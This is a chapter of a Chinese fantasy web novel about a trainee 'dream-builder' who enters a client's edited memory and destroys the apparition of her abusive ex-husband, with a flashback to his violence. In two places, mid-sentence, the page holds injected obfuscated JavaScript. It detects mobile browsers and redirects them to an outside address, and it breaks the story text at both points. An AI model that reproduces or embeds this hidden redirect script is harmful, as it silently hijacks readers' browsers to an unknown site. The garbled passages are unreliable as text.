这是一段经过删减的记忆。自然遗忘是一个过程,这屋子里所有的东西都是确定的,可见事情虽然已经过去了三十多年,钟灵阿姨对这个环境依然记忆犹新。但珩强行删掉了记忆的部分内容,所以它现在以一个空荡的框架存在于钟灵阿姨的脑海中,她记得这间屋子,记得这段时间,但一点也想不起来这段时间里到底发生了什么事情。 “江老师?你还在吗?听得到我说话吗?”她的声音从四面八方响起。 “我在。你在想什么?这里好像不对。” “我在想我女儿。你在哪里?” “我在一个看起来像九十年代的客厅里。但里面什么都没有——” 正说着,一阵寒气又从我的颈后飘过。好像有什么一直在这里等着,我莫名地觉得这种感觉熟悉,这地方肯定不对,这地方肯定不对。我不由自主攥紧了手心,但现在我在梦里,我的手里空无一物。那阵寒气一直在屋里打转,像有什么幽灵,在这里盘桓不散。这肯定不是她的“家”,用珩的话来说,这是一个不稳定的核心。我还是赶紧走吧。 “地方好像不对,阿姨,你想想别的?” 那阵寒气又来了。这是一团恐惧,一团在这个屋子里无处不在的恐惧。我不知道它属于谁,但它很强烈。它让我想起了十四岁的我设置的陷阱,那个黑洞洞的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324156|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方,里面全是这种东西。 “我想什么?家,我就一个女儿,我只能想她——” 我让她停下,越让她停下,她不听话的潜意识越是继续想女儿。成年之后的女儿没和她住,她一想女儿,时间就回到过去,她越想,我就越被她带着往这间屋子里钻。那阵寒气始终纠缠不散,现在是白天,外面有阳光,我的胆量比平时大,我不由自主地去找寒气的来源。它充满了整个空间,但在某些地方,它的浓度更高,于是在浓度差之下,恐惧在屋里无休止地循环流动。 我在屋里走,这里比我的陷阱好多了,我并没有太害怕。我循着恐惧的浓度梯度往前走,一路走,走到了厨房。 这是个普通的旧厨房,地方很小,料理台旁边是水槽。我鬼使神差地走到水槽旁边,我的身体里残留着筑梦师的本能,他对负面的东西有特别的兴趣,我很早就发现了这一点。童年被虐待的经历使他对自己有本能的恨意,他古怪的自毁倾向领着我走向那个水槽—— 厨房里呼啸而过的寒风霎时停止。有人站在我后面。 …… 珩,珩,珩。好的,我准备好了,一秒内喊珩。 来都来了我回头看一眼那是什么,我应该不会在别人梦里被砍死吧? 好的。预备,预备—— 我攥紧手心不存在的珍珠手链,忽然转过身去。 珩站在我面前。 那不是现在的珩,那好像是她的一片灵魂碎片。她还留着长发,她穿着一条复古设计的波点V领连衣裙,戴着个巨大的港风宽头箍,安静地站在我面前。她的眼神比我认识的珩要温柔一些,要是珩本人看到我被危险吸引过来了,下一秒应该要骂我。而她只是站在那里,面无表情地看着我。 “走错了,不是这里。”长发珩说,“你让她别想女儿了,你让她想想她老公。” “……好。”我顺口答应,之后大喊,“阿姨,你想想你爱人?” “谁?爱人?”钟灵阿姨有点疑惑,“但是我离婚了,我——” 水龙头在我分神的时候悄悄打开了。 长发的珩还面无表情地站在那里看我。水哗哗地流着,水槽被塞上了,随着水位的上升,水流的声音渐渐变得尖锐,像什么东西在我的身后怪叫。 珩忽然笑了一下。 那绝对不是珩,她不会这么对我笑,这表情像是……像是我那个暴戾的继父,他每次准备要冲上来,揪着我的衣领把我扔到地上的时候,都会露出这样一个表情。那不是笑,是动物准备撕咬猎物之前,习惯性露出尖牙的动作。 “我想不起来了,我离婚了,他姓什么来着,好像姓吕,好像是,好像……” 长发珩脸上某块肌肉被她的回忆激活了,她的脸古怪地抽搐了一下。 “快停下!你别想他!” 45. 暴揍家暴男 她的潜意识开始顺着“吕”这条线索飞快地奔跑,面前人的脸上的肌肉一跳一跳,先是脸,然后是脖子,然后是手臂,我清楚地看到他的肌肉随着钟灵阿姨无法停止的联想跳动,珩冷漠的脸上出现了很陌生的表情——不,其实算不上陌生。我见过太多次了,这样的脸,这样的充满怨恨,想要把人撕开,碾碎的眼神。我曾经多次被我的继父这样丢在地上,扔到墙角。他总会居高临下地站在我面前,恶狠狠地辱骂我,之后对我拳打脚踢,直到我哭着喊着求饶,直到我重复他的话,嘶哑着辱骂我自己,或是疼得喘不上气,抱着头蜷成一团在地上颤抖为止。 珩的脸忽然溶解了,一个狰狞的男人脑袋从她的身体里冒出来,他像一条新生的蛇,一点点随着钟灵阿姨拦不住的记忆激活,从珩的形象里脱出来。 “你别想他了,你想想珩!”我大喊。 “什么?珩?我心跳好快,好害怕,我在害怕什么,珩,我怎么想,珩……” 她被镇压多年的恐惧淹没,完全失去方向,她不知道从哪里开始想珩了。不行,我必须立即找一个和这个男人毫无关联的东西,让她停止联想。 “你想我!我!江夷!我在你旁边,我今天穿的什么衣服?” 一个和我差不多体型,甚至比我还要壮一点的男人已经站在了我的面前,现在珩只剩下了半截小腿,他的肌肉还在生长,他像一棵失控的树精,寸寸深色的树皮一般的皮肤要从珩的身体里裂解而出。 “好,你今天穿的……” “白色的,是不是?中间印了个米老鼠,米老鼠是什么颜色的?” “米老鼠?米老鼠是黑白的吧?是吗?” 男人咬牙切齿地看着我。他巨大的身体支在珩两截竹竿似的小腿上,他是一段隐藏的记忆,实体需要靠钟灵阿姨的回忆来复活。我衣服上该死的米老鼠让钟灵阿姨停止了对他的回忆,他卡在原地,只好恶狠狠地看我。 “米老鼠旁边呢,米老鼠旁边是谁?” “一只鸭子吧?叫什么?” 她回忆唐老鸭叫什么名字的时候,我把水龙头关上了。 “提醒你一下吧,第一个字是唐。” “唐,唐什么?” 虽然不知道这个男人做了什么,但就他假扮珩骗我,就他这凶神恶煞的鬼样,我至少可以断定他不是个什么好人。 我又变出了我的专属武器,朴实无华打人很疼的大水管,我走到不能动弹的男人面前,盯着他看。 “几个意思,”我说,“欺负我是新人对吧,骗我?” 珩肯定来检查过。这个狡猾的男人,应该就是钟灵阿姨的前夫。他和她交错的记忆很多,珩作为外人,就算法力再高,也难免遗漏。他肯定是藏在某个犄角旮旯里,间接通过他们的女儿激活。今天见来的是我,我看起来比较好骗(这是张雨铃阿姨说的,她说我的眼神像个刚毕业的大学生,不看合同就签字那种。珩当时在旁边笑得很开心,因为我确实是),他就出来骗我,借我之口引发钟灵阿姨的回忆。 “你觉得我好欺负,好,那我就让你看看我好不好欺负。”我说,之后冲外面大喊,“等等,别想我的衣服了。你想想你前夫?” “啊?” 她的潜意识重新运作,男人迅速生长,他的皮肉从虚假的珩的身体里崩出。 一段记忆快速地闪回,钟灵阿姨在尖叫,男人抓着她的头发,把她摁到了装满水的水槽里,水槽里水瞬间溢出,泼了一地。水龙头还开着,水冲起她散开的长发,她脸上伤口的血渗出,淡红色的水汩汩地往下淌。 “这是什么?我想不起来任何东西,但是我莫名其妙地好害怕,这是什么——” 我从记忆碎片里挣脱,男人冲向我,企图像当年对钟灵阿姨一样,将我的头撞向桌角,之后按到水里。 噩梦。我这辈子最不怕的就是噩梦。 我一步都没退,等他出手,我一拳打在他的脸上。他是一个幻影,而我是个经过训练的筑梦师,他的脸像个没成型的泥娃娃,被我砸出一个深坑。他变形的眼睛还盯着我看,他追过来,我右手抓着水管,一管子从他的头顶砸下。 水管砸到他的时候,我感觉到一道熟悉的灵力从我的身体里钻出,筑梦师在本傻白甜的胸腔里等了四年,终于等到他出来破坏的时刻。他的怨毒比这个家暴男要多得多,家暴男有什么本事?除了自己老婆,他也不敢欺负谁。我就不一样了,虽然我现在怂得被珩瞪一眼就不敢说话,但本人曾经大奸大恶坏得没边,杀没杀过人我不知道,但揍个家暴男,绝对在我的能力范围之内,很内很内那种。 他被我砸得稀巴烂,变成一股黑水,往地上的马赛克里面渗。本人有个特点,就是强迫症。我清理东西,那必然是要清理到干干净净一点不剩为止的,否则心里难受。我继续诱导钟灵阿姨去想她的前夫:“他很高吧?是不是和我体型差不多?” 家暴男想逃跑,但钟灵阿姨在回忆他,他的身体被迫从地砖缝里冒出来,刚凑合成个形,就被我打地鼠似的一棍子打爆。地上全是黑色的碎渣渣,他一开始还想揍我,现在眼看打不过,满屋子逃跑。我可没打算放过他,我要让钟灵阿姨一直想,一直想,想到他的碎片都出现在我的眼前,被我一个个打烂。他被我揍得抱头鼠窜,我越打越过瘾,几乎有些收不住力道,钟灵阿姨的地砖被我砸烂了几块,她在外面“哎哟哎呦”地喊头疼。 “怎么了呀?我怎么听到脑子里哐哐响啊?” 我正追着剩下的家暴男碎片跑,我一边跑一边喊:“没事,你家有蟑螂,我顺带给你打了。” “啊!”她在外面尖叫,“多吗多吗?怎么办?我最怕蟑螂了。” 她开始想蟑螂,前夫碎片缩进地底,企图走下水道逃窜。 “前夫怕蟑螂吗?” 前夫碎片刚躲进去半个身子,被我一句话强行拉了回来。 我走到他旁边,一管子杵在他身旁的地上。他现在已经被我打得只剩下小半截,现在缩成了一个和珩差不多体型的小瘦子。 我俯身下去,拍了拍他的肩膀:“谢谢你啊,要不是你,我还不知道可以通过联想强行把你叫出来。感谢你的教诲,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328665|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安心去吧。” 最后一水管落下,躲在钟灵阿姨梦里阴魂不散的家暴男,化作一阵黑色小雪。他消失的瞬间,屋里盘旋不止的寒气也随之停息,没了风,小雪直直地落在地上,变成小小的一堆黑影。 …… 有点晕。 有点累。 刚刚打得太过瘾了,一下子忘记看蓝条了。筑梦师的技能都是大招级别,但我本人是个训练两个月就匆忙上岗的实习生,放了几个技能,蓝条一下子就空掉,好,我困了。 困…… …… 再睁开眼的时候,我果然动不了了。我首先看见钟灵阿姨担忧的眼神,她的眼睛真是非常温柔,温柔得让我有些内疚,我不该让她担心的。然后我看见了珩,她叉着腰站在我面前,看起来不生气,甚至好像有点想笑。 “江老师,你还好吗?”钟灵阿姨问。 我想点头,但现在我醒着的唯一一条反射弧是管说话的,我动不了,只能僵硬地躺在那里回答:“还行。” “打挺爽啊江夷,出息了。” 嘿嘿。嘿嘿嘿嘿嘿嘿。 我膨胀:“还行吧。” 珩忽然靠近,她陡然变大的脸有点吓人,我有一瞬间以为她要变家暴男,刚刚美少女瞬间变成狰狞老男人的场景,说实话算个高级别的噩梦。我动不了,退无可退,只好眼睁睁地看着她的脸追到我面前。 “为什么不叫我?” 前一秒打架打到连房子都要砸烂的本猛男,被她一瞪,怂得不敢呼吸。 “他怕你啊,见我来他才出来的。”我解释道,“这叫诱敌之计。” “他但凡再撑一分钟,你就被他绑在那个屋子里了。” “没事,他这不是没撑住吗?” 她瞪我。好恐怖一女的,她瞪我。 “没事,这不是还有你吗?” 她还瞪我。好恐怖一女的,她还瞪我。 “对不起我错了,下次不敢了。” 别的我不会,滑跪我是专业的。错哪不知道,先跪就对了。 她好像并没有生气,我道歉惯了,几乎脱口而出,今天她不知怎么了,听到我这句话,眼神又松动了一瞬。她看向我,好像想说什么,最后又没说。她叹了口气,说:“我担心你有些多余,是吧?你挺厉害的。” 我听她叹气,以为她要教育我,结果她居然叹着气夸我,事情有点奇怪,但反正是夸我了。我膨胀:“那是,我的噩梦比他恐怖多了,我见过大场面的。” 她被我逗笑了,轻轻笑一声,之后又看我。她又用那种观音菩萨的眼神看我了,我不知道我又怎么引动了她的天神怜悯。我没说什么……吧? 她还看我,她一直看我,我动不了,只好由着她看。她的眼神几乎有些温柔了,几乎让我想起那个我从噩梦里被她救出来的早晨。她的眼里似乎有些莫名的踌躇,她好像在控制一些什么冲动,眼里有些平静的暗涌。 但最后她还是什么都没说,一切戛然而止,她站起身,之后我被熟悉的魔力包围,瞬间陷入沉睡之中。